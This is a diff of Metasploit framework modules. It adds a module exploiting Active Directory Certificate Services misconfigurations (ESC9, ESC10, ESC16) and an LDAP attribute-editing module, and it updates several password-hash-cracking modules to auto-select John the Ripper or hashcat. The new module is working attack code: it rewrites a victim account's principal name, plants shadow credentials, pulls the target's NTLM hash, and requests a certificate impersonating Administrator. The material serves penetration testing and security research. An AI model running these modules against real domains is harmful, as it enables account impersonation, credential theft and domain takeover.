spec.add_runtime_dependency 'concurrent-ruby', '1.3.4'
# Needed for multiline REPL support for interactive SQL sessions
spec.add_runtime_dependency 'reline'
@@ -0,0 +1,243 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'ruby_smb/dcerpc/client'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::LDAP
include Msf::Exploit::Remote::MsIcpr
include Msf::Exploit::Remote::SMB::Client::Authenticated
include Msf::Exploit::Remote::DCERPC
include Msf::Auxiliary::Report
include Msf::OptionalSession::SMB
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Exploits AD CS Template misconfigurations which involve updating an LDAP object: ESC9, ESC10, and ESC16',
'Description' => %q{
This module exploits Active Directory Certificate Services (AD CS) template misconfigurations, specifically
ESC9, ESC10, and ESC16, by updating an LDAP object and requesting a certificate on behalf of a target user.
The module leverages the auxiliary/admin/ldap/ldap_object_attribute module to update the LDAP object and the
admin/ldap/shadow_credentials module to add shadow credentials for the target user. It then uses the
admin/kerberos/get_ticket module to retrieve the NTLM hash of the target user and requests a certificate via
MS-ICPR. The resulting certificate can be used for various operations, such as authentication.
The module ensures that any changes made by the ldap_object_attribute or shadow_credentials module are
reverted after execution to maintain system integrity.
},
'License' => MSF_LICENSE,
'Author' => [
'Will Schroeder', # original idea/research
'Lee Christensen', # original idea/research
'Oliver Lyak', # certipy implementation
'Spencer McIntyre', # icpr_cert module implementation
'jheysel-r7' # module implementation
],
'References' => [
[ 'URL', 'https://github.com/GhostPack/Certify' ],
[ 'URL', 'https://github.com/ly4k/Certipy' ],
[ 'URL', 'https://medium.com/@offsecdeer/adcs-exploitation-series-part-2-certificate-mapping-esc15-6e19a6037760' ],
[ 'URL', 'https://www.thehacker.recipes/ad/movement/adcs/certificate-templates#esc16-a-compatibility-mode' ]
],
'Notes' => {
'Reliability' => [],
'Stability' => [],
'SideEffects' => [ IOC_IN_LOGS ],
'AKA' => [ 'ESC9', 'ESC10', 'ESC16']
},
'Actions' => [
[ 'REQUEST_CERT', { 'Description' => 'Request a certificate' } ]
],
'DefaultAction' => 'REQUEST_CERT'
)
)
deregister_options('PFX', 'ON_BEHALF_OF', 'Session', 'SMBuser', 'SMBPass', 'SMBDomain')
register_options([
OptString.new('LDAPDomain', [true, 'The domain to authenticate to']),
OptString.new('LDAPUsername', [true, 'The username to authenticate with, who must have permissions to update the TARGET_USERNAME']),
OptString.new('LDAPPassword', [true, 'The password to authenticate with']),
OptEnum.new('UPDATE_LDAP_OBJECT', [ true, 'Either userPrincipalName or dNSHostName, Updates the necessary object of a specific user before requesting the cert.', 'userPrincipalName', %w[userPrincipalName dNSHostName] ]),
OptString.new('UPDATE_LDAP_OBJECT_VALUE', [ true, 'The account name you wish to impersonate', 'Administrator']),
OptString.new('TARGET_USERNAME', [true, 'The username of the target LDAP object (the victim account).'], aliases: ['SMBUser'])
])
register_advanced_options(
[
OptString.new('BASE_DN', [false, 'LDAP base DN if you already have it']),
OptInt.new('LDAPRport', [false, 'The target LDAP port.', 389]),
]
)
end
# For more info on FQDN validation: https://stackoverflow.com/questions/11809631/fully-qualified-domain-name-validation
def valid_fqdn?(str)
str =~ /\A(?=.{1,253}\z)(?:(?!-)[a-zA-Z0-9-]{1,63}(?<!-)\.)+[a-zA-Z]{2,}\z/
end
def validate_options
if datastore['UPDATE_LDAP_OBJECT'] == 'dNSHostName' && !valid_fqdn?(datastore['UPDATE_LDAP_OBJECT_VALUE'])
fail_with(Failure::BadConfig, "When UPDATE_LDAP_OBJECT is set to 'dNSHostName', UPDATE_LDAP_OBJECT_VALUE must be set to a valid FQDN.")
end
end
def run
validate_options
send("action_#{action.name.downcase}")
rescue MsIcprConnectionError, SmbIpcConnectionError => e
fail_with(Failure::Unreachable, e.message)
rescue MsIcprAuthenticationError, MsIcprAuthorizationError, SmbIpcAuthenticationError => e
fail_with(Failure::NoAccess, e.message)
rescue MsIcprNotFoundError => e
fail_with(Failure::NotFound, e.message)
rescue MsIcprUnexpectedReplyError => e
fail_with(Failure::UnexpectedReply, e.message)
rescue MsIcprUnknownError => e
fail_with(Failure::Unknown, e.message)
end
def call_ldap_object_module(action, value = nil)
mod_refname = 'auxiliary/admin/ldap/ldap_object_attribute'
print_status("Loading #{mod_refname}")
ldap_update_module = framework.modules.create(mod_refname)
unless ldap_update_module
print_error("Failed to load module: #{mod_refname}")
return
end
# Default to using the SMB credentials if LDAP credentials are not provided
ldap_update_module = framework.modules.create(mod_refname)
ldap_update_module.datastore['RHOST'] = datastore['RHOST']
ldap_update_module.datastore['RPORT'] = datastore['LDAPRport']
ldap_update_module.datastore['BASE_DN'] = datastore['BASE_DN']
ldap_update_module.datastore['VERBOSE'] = datastore['VERBOSE']
ldap_update_module.datastore['LDAPDomain'] = datastore['LDAPDomain']
ldap_update_module.datastore['LDAPUsername'] = datastore['LDAPUsername']
ldap_update_module.datastore['LDAPPassword'] = datastore['LDAPPassword']
ldap_update_module.datastore['OBJECT'] = datastore['TARGET_USERNAME']
ldap_update_module.datastore['ATTRIBUTE'] = datastore['UPDATE_LDAP_OBJECT']
ldap_update_module.datastore['OBJECT_LOOKUP'] = 'sAMAccountName'
ldap_update_module.datastore['VALUE'] = value
ldap_update_module.datastore['ACTION'] = action
print_status("Running #{mod_refname}")
ldap_update_module.run_simple(
'LocalInput' => user_input,
'LocalOutput' => user_output,
'RunAsJob' => false
)
end
def call_shadow_credentials_module(action, device_id = nil)
mod_refname = 'admin/ldap/shadow_credentials'
print_status("Loading #{mod_refname}")
ldap_update_module = framework.modules.create(mod_refname)
unless ldap_update_module
print_error("Failed to load module: #{mod_refname}")
return
end
# Default to using the SMB credentials if LDAP credentials are not provided
ldap_update_module = framework.modules.create(mod_refname)
ldap_update_module.datastore['RHOST'] = datastore['RHOST']
ldap_update_module.datastore['RPORT'] = datastore['LDAPRport']
ldap_update_module.datastore['VERBOSE'] = datastore['VERBOSE']
ldap_update_module.datastore['LDAPDomain'] = datastore['LDAPDomain']
ldap_update_module.datastore['LDAPUsername'] = datastore['LDAPUsername']
ldap_update_module.datastore['LDAPPassword'] = datastore['LDAPPassword']
ldap_update_module.datastore['TARGET_USER'] = datastore['TARGET_USERNAME']
ldap_update_module.datastore['DEVICE_ID'] = device_id[:device_id] if action == 'remove' && device_id.present?
ldap_update_module.datastore['ACTION'] = action
print_status("Running #{mod_refname}")
ldap_update_module.run_simple(
'LocalInput' => user_input,
'LocalOutput' => user_output,
'RunAsJob' => false
)
end
def automate_get_hash(cert_path, username, domain, rhosts)
mod_refname = 'admin/kerberos/get_ticket'
print_status("Loading #{mod_refname}")
get_ticket_module = framework.modules.create(mod_refname)
unless get_ticket_module
print_error("Failed to load module: #{mod_refname}")
return
end
print_status("Getting hash for #{username}")
get_ticket_module.datastore['CERT_FILE'] = cert_path
get_ticket_module.datastore['USERNAME'] = username
get_ticket_module.datastore['DOMAIN'] = domain
get_ticket_module.datastore['RHOSTS'] = rhosts
get_ticket_module.datastore['RPORT'] = 88
get_ticket_module.datastore['ACTION'] = 'GET_HASH'
res = get_ticket_module.run_simple(
'LocalInput' => user_input,
'LocalOutput' => user_output,
'RunAsJob' => false
)
fail_with(Failure::Unknown, 'Failed to get hash for target user') unless res
res
end
def action_request_cert
new_value = datastore['UPDATE_LDAP_OBJECT_VALUE']
# Get the original while updating (the update action returns the original value upon success)
@original_value = call_ldap_object_module('UPDATE', new_value)
fail_with(Failure::BadConfig, "The #{datastore['UPDATE_LDAP_OBJECT']} of #{datastore['TARGET_USERNAME']} is already set to #{datastore['UPDATE_LDAP_OBJECT_VALUE']}. After the module completes running it will revert the attribute to it's original value which will cause the certificate produced to throw a KDC_ERR_CLIENT_NAME_MISMATCH when attempting to use it. Try setting the #{datastore['UPDATE_LDAP_OBJECT']} of #{datastore['TARGET_USERNAME']} to anything but #{datastore['UPDATE_LDAP_OBJECT_VALUE']} using the ldap_object_attribute module and then rerun this module.") if @original_value.present? && @original_value.casecmp?(datastore['UPDATE_LDAP_OBJECT_VALUE'])
# Call the shadow credentials module to add the device and get the cert path
print_status("Adding shadow credentials for #{datastore['TARGET_USERNAME']}")
@device_id, cert_path = call_shadow_credentials_module('add')
hash = automate_get_hash(cert_path, datastore['TARGET_USERNAME'], datastore['LDAPDomain'], datastore['RHOSTS'])
with_ipc_tree do |opts|
datastore['SMBUser'] = datastore['TARGET_USERNAME']
datastore['SMBPass'] = hash
request_certificate(opts)
end
ensure
print_status('Removing shadow credential')
call_shadow_credentials_module('remove', device_id: @device_id)
print_status('Reverting ldap object')
revert_ldap_object
end
def revert_ldap_object
# If the UPN was changed the certificate we requested won't work until we revert the UPN change. If the
# dnsHostName was changed the cert will still work however we'll revert the change to keep the system clean.
if @original_value.to_s.empty?
call_ldap_object_module('DELETE')
else
call_ldap_object_module('UPDATE', @original_value)
end
end
# @yieldparam options [Hash] If a SMB session is present, a hash with the IPC tree present. Empty hash otherwise.
# @return [void]
def with_ipc_tree
opts = {}
if session
print_status("Using existing session #{session.sid}")
self.simple = session.simple_client
opts[:tree] = simple.client.tree_connect("\\\\#{client.dispatcher.tcp_socket.peerhost}\\IPC$")
end
yield opts
ensure
opts[:tree].disconnect! if opts[:tree]
end
end
@@ -91,12 +91,8 @@ class MetasploitModule < Msf::Auxiliary
def validate_options
if datastore['CERT_FILE'].present?
certificate = File.binread(datastore['CERT_FILE'])
begin
@pfx = OpenSSL::PKCS12.new(certificate, datastore['CERT_PASSWORD'] || '')
rescue OpenSSL::PKCS12::PKCS12Error => e
fail_with(Failure::BadConfig, "Unable to parse certificate file (#{e})")
end
pkcs12_storage = Msf::Exploit::Remote::Pkcs12::Storage.new(framework: framework, framework_module: self)
@pfx = pkcs12_storage.read_pkcs12_cert_path(datastore['CERT_FILE'], datastore['CERT_PASSWORD'], workspace: workspace)[:value]
if datastore['USERNAME'].blank? && datastore['DOMAIN'].present?
fail_with(Failure::BadConfig, 'Domain override provided but no username override provided (must provide both or neither)')
@@ -0,0 +1,153 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::LDAP
include Msf::OptionalSession::LDAP
def initialize(info = {})
super(
update_info(
info,
'Name' => 'LDAP Update Object',
'Description' => %q{
This module allows creating, reading, updating and deleting attributes of LDAP objects.
Users can specify the object and must specify a corresponding attribute.
},
'Author' => ['jheysel'],
'License' => MSF_LICENSE,
'Actions' => [
['CREATE', { 'Description' => 'Create an LDAP object' }],
['READ', { 'Description' => 'Read the the LDAP object' }],
['UPDATE', { 'Description' => 'Modify the LDAP object' }],
['DELETE', { 'Description' => 'Delete the LDAP object' }]
],
'DefaultAction' => 'READ',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
}
)
)
register_options(
[
OptString.new('BASE_DN', [false, 'LDAP base DN if you already have it']),
OptEnum.new('OBJECT_LOOKUP', [true, 'How to look up the target LDAP object', 'dN', ['dN', 'sAMAccountName']]),
OptString.new('OBJECT', [true, 'The target LDAP object']),
OptString.new('ATTRIBUTE', [true, 'The LDAP attribute to update (e.g., userPrincipalName)']),
OptString.new('VALUE', [false, 'The value for the specified LDAP object attribute'], conditions: ['ACTION', 'in', %w[Create Update] ])
]
)
end
def find_target_object
search_filter = "(&(#{ldap_escape_filter(datastore['OBJECT_LOOKUP'])}=#{ldap_escape_filter(datastore['OBJECT'])}))"
result = []
@ldap.search(base: @base_dn, filter: search_filter, attributes: ['distinguishedName', datastore['ATTRIBUTE']]) do |entry|
result << entry
end
if result.empty?
fail_with(Failure::NotFound, "Could not find any object matching the filter: #{search_filter}")
elsif result.size > 1
fail_with(Failure::UnexpectedReply, "Found multiple objects matching the filter: #{search_filter}. This should not happen.")
end
result.first
end
def action_read
target_object = find_target_object
target_dn = target_object['dN'].first
attribute_value = target_object[datastore['ATTRIBUTE'].to_sym]&.first
if attribute_value.blank?
fail_with(Failure::NotFound, "Attribute #{datastore['ATTRIBUTE']} is not set for #{target_dn}")
end
print_good("Found #{target_dn} with #{datastore['ATTRIBUTE']} set to #{attribute_value}")
attribute_value
end
def action_create
target_object = find_target_object
target_dn = target_object['dN'].first
attribute = datastore['ATTRIBUTE'].to_sym
value = datastore['VALUE']
print_status("Attempting to add attribute #{datastore['ATTRIBUTE']} with value #{value} to #{target_dn}...")
ops = [[:add, attribute, value]]
@ldap.modify(dn: target_dn, operations: ops)
validate_query_result!(@ldap.get_operation_result.table)
print_good("Successfully added attribute #{datastore['ATTRIBUTE']} with value #{value} to #{target_dn}")
end
def action_update
target_object = find_target_object
target_dn = target_object['dN'].first
attribute = datastore['ATTRIBUTE'].to_sym
original_value = target_object[attribute]&.first
print_status("Current value of #{datastore['OBJECT']}'s #{datastore['ATTRIBUTE']}: #{original_value}")
ops = [[:replace, attribute, datastore['VALUE']]]
print_status("Attempting to update #{datastore['ATTRIBUTE']} for #{target_dn} to #{datastore['VALUE']}...")
@ldap.modify(dn: target_dn, operations: ops)
validate_query_result!(@ldap.get_operation_result.table)
print_good("Successfully updated #{target_dn}'s #{datastore['ATTRIBUTE']} to #{datastore['VALUE']}")
original_value
end
def action_delete
target_object = find_target_object
target_dn = target_object['dN'].first
attribute = datastore['ATTRIBUTE'].to_sym
print_status("Attempting to delete attribute #{datastore['ATTRIBUTE']} from #{target_dn}...")
ops = [[:delete, attribute]]
@ldap.modify(dn: target_dn, operations: ops)
validate_query_result!(@ldap.get_operation_result.table)
print_good("Successfully deleted attribute #{datastore['ATTRIBUTE']} from #{target_dn}")
end
def run
if (datastore['ACTION'].downcase == 'update' || datastore['ACTION'].downcase == 'create') && datastore['VALUE'].blank?
fail_with(Failure::BadConfig, 'The VALUE option must be set for CREATE and UPDATE actions.')
end
ldap_connect do |ldap|
validate_bind_success!(ldap)
if (@base_dn = datastore['BASE_DN'])
vprint_status("User-specified base DN: #{@base_dn}")
else
vprint_status('Discovering base DN automatically')
unless (@base_dn = ldap.base_dn)
fail_with(Failure::NotFound, "Couldn't discover base DN!")
end
end
@ldap = ldap
result = send("action_#{action.name.downcase}")
print_good('The operation completed successfully!')
result
end
rescue Errno::ECONNRESET
fail_with(Failure::Disconnected, 'The connection was reset.')
rescue Rex::ConnectionError => e
fail_with(Failure::Unreachable, e.message)
rescue Net::LDAP::Error => e
fail_with(Failure::Unknown, "#{e.class}: #{e.message}")
end
end
@@ -254,9 +254,10 @@ class MetasploitModule < Msf::Auxiliary
end
pkcs12 = OpenSSL::PKCS12.create('', '', key, cert)
store_cert(pkcs12)
stored_path = store_cert(pkcs12)
print_good("Successfully updated the #{ATTRIBUTE} attribute; certificate with device ID #{credential.device_id}")
[credential.device_id, stored_path]
end
def store_cert(pkcs12)
@@ -280,6 +281,7 @@ class MetasploitModule < Msf::Auxiliary
info = "#{datastore['LDAPDomain']}\\#{datastore['TARGET_USER']} Certificate"
stored_path = store_loot('windows.ad.cs', 'application/x-pkcs12', rhost, pkcs12.to_der, 'certificate.pfx', info)
print_status("Certificate stored at: #{stored_path}")
stored_path
end
def ldap_service_data
+17 -12
View File
@@ -25,8 +25,9 @@ class MetasploitModule < Msf::Auxiliary
'Actions' => [
['john', { 'Description' => 'Use John the Ripper' }],
['hashcat', { 'Description' => 'Use Hashcat' }],
['auto', { 'Description' => 'Auto-selection of cracker' }]
],
'DefaultAction' => 'john',
'DefaultAction' => 'auto',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
@@ -45,9 +46,9 @@ class MetasploitModule < Msf::Auxiliary
def show_command(cracker_instance)
return unless datastore['ShowCommand']
if action.name == 'john'
if @cracker_type == 'john'
cmd = cracker_instance.john_crack_command
elsif action.name == 'hashcat'
elsif @cracker_type == 'hashcat'
cmd = cracker_instance.hashcat_crack_command
end
print_status(" Cracking Command: #{cmd.join(' ')}")
@@ -63,12 +64,12 @@ class MetasploitModule < Msf::Auxiliary
next unless fields.count >= 3
cred = { 'hash_type' => hash_type, 'method' => method }
if action.name == 'john'
if @cracker_type == 'john'
cred['username'] = fields.shift
cred['core_id'] = fields.pop
4.times { fields.pop } # Get rid of extra :
cred['password'] = fields.join(':') # Anything left must be the password. This accounts for passwords with semi-colons in it
elsif action.name == 'hashcat'
elsif @cracker_type == 'hashcat'
cred['core_id'] = fields.shift
cred['hash'] = fields.shift
cred['password'] = fields.join(':') # Anything left must be the password. This accounts for passwords with semi-colons in it
@@ -85,14 +86,20 @@ class MetasploitModule < Msf::Auxiliary
end
def run
tbl = tbl = cracker_results_table
tbl = cracker_results_table
cracker = new_password_cracker(action.name)
if action.name == 'auto'
@cracker_type = cracker.get_type
else
@cracker_type = action.name
end
hash_types_to_crack = ['descrypt']
jobs_to_do = []
# build our job list
hash_types_to_crack.each do |hash_type|
job = hash_job(hash_type, action.name)
job = hash_job(hash_type, @cracker_type)
if job.nil?
print_status("No #{hash_type} found to crack")
else
@@ -110,8 +117,6 @@ class MetasploitModule < Msf::Auxiliary
# Inner array format: db_id, hash_type, username, password, method_of_crack
results = []
cracker = new_password_cracker(action.name)
# generate our wordlist and close the file handle. max length of DES is 8
wordlist = wordlist_file(8)
unless wordlist
@@ -136,7 +141,7 @@ class MetasploitModule < Msf::Auxiliary
cracker_instance = cracker.dup
cracker_instance.format = format
if action.name == 'john'
if @cracker_type == 'john'
cracker_instance.fork = datastore['FORK']
end
@@ -147,7 +152,7 @@ class MetasploitModule < Msf::Auxiliary
job['cred_ids_left_to_crack'] = job['cred_ids_left_to_crack'] - results.map { |i| i[0].to_i } # remove cracked hashes from the hash list
next if job['cred_ids_left_to_crack'].empty?
if action.name == 'john'
if @cracker_type == 'john'
print_status "Cracking #{format} hashes in single mode..."
cracker_instance.mode_single(wordlist.path)
show_command cracker_instance
@@ -189,7 +194,7 @@ class MetasploitModule < Msf::Auxiliary
print_status "Cracking #{format} hashes in wordlist mode..."
cracker_instance.mode_wordlist(wordlist.path)
# Turn on KoreLogic rules if the user asked for it
if action.name == 'john' && datastore['KORELOGIC']
if @cracker_type == 'john' && datastore['KORELOGIC']
cracker_instance.rules = 'KoreLogicRules'
print_status 'Applying KoreLogic ruleset...'
end
+18 -13
View File
@@ -34,8 +34,9 @@ class MetasploitModule < Msf::Auxiliary
'Actions' => [
['john', { 'Description' => 'Use John the Ripper' }],
['hashcat', { 'Description' => 'Use Hashcat' }],
['auto', { 'Description' => 'Auto-selection of cracker' }]
],
'DefaultAction' => 'john',
'DefaultAction' => 'auto',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
@@ -58,9 +59,9 @@ class MetasploitModule < Msf::Auxiliary
def show_command(cracker_instance)
return unless datastore['ShowCommand']
if action.name == 'john'
if @cracker_type == 'john'
cmd = cracker_instance.john_crack_command
elsif action.name == 'hashcat'
elsif @cracker_type == 'hashcat'
cmd = cracker_instance.hashcat_crack_command
end
print_status(" Cracking Command: #{cmd.join(' ')}")
@@ -74,13 +75,13 @@ class MetasploitModule < Msf::Auxiliary
fields = password_line.split(':')
cred = { 'hash_type' => hash_type, 'method' => method }
if action.name == 'john'
if @cracker_type == 'john'
next unless fields.count >= 3
cred['username'] = fields.shift
cred['core_id'] = fields.pop
cred['password'] = fields.join(':') # Anything left must be the password. This accounts for passwords with semi-colons in it
elsif action.name == 'hashcat'
elsif @cracker_type == 'hashcat'
next unless fields.count >= 2
cred['core_id'] = fields.shift
@@ -109,7 +110,13 @@ class MetasploitModule < Msf::Auxiliary
end
def run
tbl = tbl = cracker_results_table
tbl = cracker_results_table
cracker = new_password_cracker(action.name)
if action.name == 'auto'
@cracker_type = cracker.get_type
else
@cracker_type = action.name
end
# array of hashes in jtr_format in the db, converted to an OR combined regex
hash_types_to_crack = []
@@ -128,7 +135,7 @@ class MetasploitModule < Msf::Auxiliary
# hashcat requires a format we dont have all the data for
# in the current dumper, so this is disabled in module and lib
if action.name == 'john'
if @cracker_type == 'john'
hash_types_to_crack << 'oracle'
hash_types_to_crack << 'dynamic_1506'
end
@@ -143,7 +150,7 @@ class MetasploitModule < Msf::Auxiliary
# build our job list
hash_types_to_crack.each do |hash_type|
job = hash_job(hash_type, action.name)
job = hash_job(hash_type, cracker.cracker)
if job.nil?
print_status("No #{hash_type} found to crack")
else
@@ -161,8 +168,6 @@ class MetasploitModule < Msf::Auxiliary
# Inner array format: db_id, hash_type, username, password, method_of_crack
results = []
cracker = new_password_cracker(action.name)
# generate our wordlist and close the file handle.
wordlist = wordlist_file
unless wordlist
@@ -187,7 +192,7 @@ class MetasploitModule < Msf::Auxiliary
cracker_instance = cracker.dup
cracker_instance.format = format
if action.name == 'john'
if @cracker_type == 'john'
cracker_instance.fork = datastore['FORK']
end
@@ -198,7 +203,7 @@ class MetasploitModule < Msf::Auxiliary
job['cred_ids_left_to_crack'] = job['cred_ids_left_to_crack'] - results.map { |i| i[0].to_i } # remove cracked hashes from the hash list
next if job['cred_ids_left_to_crack'].empty?
if action.name == 'john'
if @cracker_type == 'john'
print_status "Cracking #{format} hashes in single mode..."
cracker_instance.mode_single(wordlist.path)
show_command cracker_instance
@@ -239,7 +244,7 @@ class MetasploitModule < Msf::Auxiliary
print_status "Cracking #{format} hashes in wordlist mode..."
cracker_instance.mode_wordlist(wordlist.path)
# Turn on KoreLogic rules if the user asked for it
if action.name == 'john' && datastore['KORELOGIC']
if @cracker_type == 'john' && datastore['KORELOGIC']
cracker_instance.rules = 'KoreLogicRules'
print_status 'Applying KoreLogic ruleset...'
end
+17 -12
View File
@@ -32,8 +32,9 @@ class MetasploitModule < Msf::Auxiliary
'Actions' => [
['john', { 'Description' => 'Use John the Ripper' }],
['hashcat', { 'Description' => 'Use Hashcat' }],
['auto', { 'Description' => 'Auto-selection of cracker' }]
],
'DefaultAction' => 'john',
'DefaultAction' => 'auto',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
@@ -58,9 +59,9 @@ class MetasploitModule < Msf::Auxiliary
def show_command(cracker_instance)
return unless datastore['ShowCommand']
if action.name == 'john'
if @cracker_type == 'john'
cmd = cracker_instance.john_crack_command
elsif action.name == 'hashcat'
elsif @cracker_type == 'hashcat'
cmd = cracker_instance.hashcat_crack_command
end
print_status(" Cracking Command: #{cmd.join(' ')}")
@@ -74,14 +75,14 @@ class MetasploitModule < Msf::Auxiliary
fields = password_line.split(':')
cred = { 'hash_type' => hash_type, 'method' => method }
if action.name == 'john'
if @cracker_type == 'john'
next unless fields.count >= 3 # If we don't have an expected minimum number of fields, this is probably not a hash line
cred['username'] = fields.shift
cred['core_id'] = fields.pop
4.times { fields.pop } # Get rid of extra :
cred['password'] = fields.join(':') # Anything left must be the password. This accounts for passwords with semi-colons in it
elsif action.name == 'hashcat'
elsif @cracker_type == 'hashcat'
next unless fields.count >= 2 # If we don't have an expected minimum number of fields, this is probably not a hash line
cred['core_id'] = fields.shift
@@ -100,7 +101,13 @@ class MetasploitModule < Msf::Auxiliary
end
def run
tbl = tbl = cracker_results_table
tbl = cracker_results_table
cracker = new_password_cracker(action.name)
if action.name == 'auto'
@cracker_type = cracker.get_type
else
@cracker_type = action.name
end
# array of hashes in jtr_format in the db, converted to an OR combined regex
hash_types_to_crack = []
@@ -115,7 +122,7 @@ class MetasploitModule < Msf::Auxiliary
# build our job list
hash_types_to_crack.each do |hash_type|
job = hash_job(hash_type, action.name)
job = hash_job(hash_type, @cracker_type)
if job.nil?
print_status("No #{hash_type} found to crack")
else
@@ -133,8 +140,6 @@ class MetasploitModule < Msf::Auxiliary
# Inner array format: db_id, hash_type, username, password, method_of_crack
results = []
cracker = new_password_cracker(action.name)
# generate our wordlist and close the file handle.
wordlist = wordlist_file
unless wordlist
@@ -158,7 +163,7 @@ class MetasploitModule < Msf::Auxiliary
cracker_instance = cracker.dup
cracker_instance.format = format
if action.name == 'john'
if @cracker_type == 'john'
cracker_instance.fork = datastore['FORK']
end
@@ -169,7 +174,7 @@ class MetasploitModule < Msf::Auxiliary
job['cred_ids_left_to_crack'] = job['cred_ids_left_to_crack'] - results.map { |i| i[0].to_i } # remove cracked hashes from the hash list
next if job['cred_ids_left_to_crack'].empty?
if action.name == 'john'
if @cracker_type == 'john'
print_status "Cracking #{format} hashes in single mode..."
cracker_instance.mode_single(wordlist.path)
show_command cracker_instance
@@ -211,7 +216,7 @@ class MetasploitModule < Msf::Auxiliary
print_status "Cracking #{format} hashes in wordlist mode..."
cracker_instance.mode_wordlist(wordlist.path)
# Turn on KoreLogic rules if the user asked for it
if action.name == 'john' && datastore['KORELOGIC']
if @cracker_type == 'john' && datastore['KORELOGIC']
cracker_instance.rules = 'KoreLogicRules'
print_status 'Applying KoreLogic ruleset...'
end
+17 -12
View File
@@ -24,8 +24,9 @@ class MetasploitModule < Msf::Auxiliary
'Actions' => [
['john', { 'Description' => 'Use John the Ripper' }],
['hashcat', { 'Description' => 'Use Hashcat' }],
['auto', { 'Description' => 'Auto-selection of cracker' }]
],
'DefaultAction' => 'john',
'DefaultAction' => 'auto',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
@@ -47,9 +48,9 @@ class MetasploitModule < Msf::Auxiliary
def show_command(cracker_instance)
return unless datastore['ShowCommand']
if action.name == 'john'
if @cracker_type == 'john'
cmd = cracker_instance.john_crack_command
elsif action.name == 'hashcat'
elsif @cracker_type == 'hashcat'
cmd = cracker_instance.hashcat_crack_command
end
print_status(" Cracking Command: #{cmd.join(' ')}")
@@ -63,7 +64,7 @@ class MetasploitModule < Msf::Auxiliary
fields = password_line.split(':')
cred = { 'hash_type' => hash_type, 'method' => method }
# If we don't have an expected minimum number of fields, this is probably not a hash line
if action.name == 'john'
if @cracker_type == 'john'
next unless fields.count >= 3
cred['username'] = fields.shift
@@ -72,7 +73,7 @@ class MetasploitModule < Msf::Auxiliary
4.times { fields.pop } # Get rid of extra :
end
cred['password'] = fields.join(':') # Anything left must be the password. This accounts for passwords with semi-colons in it
elsif action.name == 'hashcat'
elsif @cracker_type == 'hashcat'
next unless fields.count >= 3
cred['core_id'] = fields.shift
@@ -91,7 +92,13 @@ class MetasploitModule < Msf::Auxiliary
end
def run
tbl = tbl = cracker_results_table
tbl = cracker_results_table
cracker = new_password_cracker(action.name)
if action.name == 'auto'
@cracker_type = cracker.get_type
else
@cracker_type = action.name
end
# array of hashes in jtr_format in the db, converted to an OR combined regex
hash_types_to_crack = []
@@ -102,7 +109,7 @@ class MetasploitModule < Msf::Auxiliary
# build our job list
hash_types_to_crack.each do |hash_type|
job = hash_job(hash_type, action.name)
job = hash_job(hash_type, @cracker_type)
if job.nil?
print_status("No #{hash_type} found to crack")
else
@@ -120,8 +127,6 @@ class MetasploitModule < Msf::Auxiliary
# Inner array format: db_id, hash_type, username, password, method_of_crack
results = []
cracker = new_password_cracker(action.name)
# generate our wordlist and close the file handle.
wordlist = wordlist_file
unless wordlist
@@ -144,7 +149,7 @@ class MetasploitModule < Msf::Auxiliary
# dupe our original cracker so we can safely change options between each run
cracker_instance = cracker.dup
cracker_instance.format = format
if action.name == 'john'
if @cracker_type == 'john'
cracker_instance.fork = datastore['FORK']
end
@@ -153,7 +158,7 @@ class MetasploitModule < Msf::Auxiliary
results = check_results(cracker_instance.each_cracked_password, results, format, 'Already Cracked/POT')
vprint_good(append_results(tbl, results)) unless results.empty?
if action.name == 'john'
if @cracker_type == 'john'
print_status "Cracking #{format} hashes in single mode..."
cracker_instance.mode_single(wordlist.path)
show_command cracker_instance
@@ -194,7 +199,7 @@ class MetasploitModule < Msf::Auxiliary
print_status "Cracking #{format} hashes in wordlist mode..."
cracker_instance.mode_wordlist(wordlist.path)
# Turn on KoreLogic rules if the user asked for it
if action.name == 'john' && datastore['KORELOGIC']
if @cracker_type == 'john' && datastore['KORELOGIC']
cracker_instance.rules = 'KoreLogicRules'
print_status 'Applying KoreLogic ruleset...'
end
+17 -12
View File
@@ -24,8 +24,9 @@ class MetasploitModule < Msf::Auxiliary
'Actions' => [
['john', { 'Description' => 'Use John the Ripper' }],
['hashcat', { 'Description' => 'Use Hashcat' }],
['auto', { 'Description' => 'Auto-selection of cracker' }]
],
'DefaultAction' => 'john',
'DefaultAction' => 'auto',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
@@ -48,9 +49,9 @@ class MetasploitModule < Msf::Auxiliary
def show_command(cracker_instance)
return unless datastore['ShowCommand']
if action.name == 'john'
if @cracker_type == 'john'
cmd = cracker_instance.john_crack_command
elsif action.name == 'hashcat'
elsif @cracker_type == 'hashcat'
cmd = cracker_instance.hashcat_crack_command
end
print_status(" Cracking Command: #{cmd.join(' ')}")
@@ -64,13 +65,13 @@ class MetasploitModule < Msf::Auxiliary
fields = password_line.split(':')
cred = { 'hash_type' => hash_type, 'method' => method }
# If we don't have an expected minimum number of fields, this is probably not a hash line
if action.name == 'john'
if @cracker_type == 'john'
next unless fields.count >= 3
cred['username'] = fields.shift
cred['core_id'] = fields.pop
cred['password'] = fields.join(':') # Anything left must be the password. This accounts for passwords with semi-colons in it
elsif action.name == 'hashcat'
elsif @cracker_type == 'hashcat'
next unless fields.count >= 2
cred['core_id'] = fields.shift
@@ -89,7 +90,13 @@ class MetasploitModule < Msf::Auxiliary
end
def run
tbl = tbl = cracker_results_table
tbl = cracker_results_table
cracker = new_password_cracker(action.name)
if action.name == 'auto'
@cracker_type = cracker.get_type
else
@cracker_type = action.name
end
hash_types_to_crack = []
hash_types_to_crack << 'PBKDF2-HMAC-SHA1' if datastore['ATLASSIAN']
@@ -100,7 +107,7 @@ class MetasploitModule < Msf::Auxiliary
# build our job list
hash_types_to_crack.each do |hash_type|
job = hash_job(hash_type, action.name)
